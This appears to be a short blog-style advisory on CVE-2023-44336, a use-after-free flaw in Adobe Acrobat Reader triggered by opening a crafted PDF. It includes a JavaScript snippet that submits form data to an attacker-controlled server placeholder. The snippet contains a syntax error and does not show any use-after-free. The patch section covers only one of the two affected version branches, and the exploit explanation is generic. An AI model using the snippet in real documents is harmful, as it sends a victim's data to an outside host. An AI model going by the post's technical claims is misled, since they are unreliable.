CVE-2023-44336 - Adobe Acrobat Reader Use After Free Vulnerability Resulting in Arbitrary Code Execution

Adobe Acrobat Reader versions 23.006.20360 (and earlier) and 20.005.30524 (and earlier) are susceptible to a Use After Free vulnerability. This vulnerability could, if exploited, lead to arbitrary code execution in the context of the current user.

Exploiting this vulnerability requires user interaction - the victim must open a malicious PDF file. In this post, we will discuss the vulnerability, explore the exploit details, and provide links to the original references and resources to help you stay protected.

Vulnerability Details

A Use After Free vulnerability originates from the improper management of memory resources, allowing an attacker to execute arbitrary code.

In this specific attack scenario involving Adobe Acrobat Reader, a malicious actor can craft a PDF file containing malicious JavaScript code. When the victim unknowingly opens the file, the vulnerability is triggered, and the attacker's code is executed.

// Malicious JavaScript Code Snippet
var target = this;
var pdfCode = "<PDF code with malicious content>";
target.submitForm({
    cUrl: "http://<attacker-controlled-server>/submit";,
    aFields: null,
    bFDF: true,
    cSubmitAs: "XFDF",
    cCharset: pdfCode,
});

Exploit Details

The exploit relies on the targeted Adobe Acrobat Reader versions' lack of proper memory management when dealing with JavaScript code in PDF files. This allows the attacker to use the "Use After Free" technique and trigger memory corruption, enabling code execution.

The attacker must first craft a malicious PDF, then lure the target into opening the file using social engineering techniques such as phishing emails or instant messaging.

Upon opening the file, the vulnerability is triggered, leading to memory corruption, and ultimately allowing the attacker's code to be executed.

Patch and References

The vulnerability has been assigned the identifier CVE-2023-44336 in the Common Vulnerabilities and Exposures (CVE) database. Adobe has acknowledged the issue and provided the following patches to address the vulnerability:

Adobe Acrobat Reader DC, version 20.005.30524 => Update to version 20.005.30525

To stay protected, users of the affected software should update immediately to the latest versions available from Adobe.

You can find the original security advisory from Adobe at the following link: Adobe Acrobat Reader Security Advisory

For further information, you can visit the official CVE page for CVE-2023-44336: CVE-2023-44336 Details

Conclusion

Keeping your software up-to-date is crucial to staying protected from vulnerabilities such as CVE-2023-44336. It is also critical to remain vigilant when opening files from unknown sources and be aware of potential phishing attempts. By implementing security best practices and ensuring your software is patched, you have a better chance of staying protected from such exploits.

Timeline

Published on: 11/16/2023 10:15:08 UTC
Last modified on: 11/22/2023 17:18:22 UTC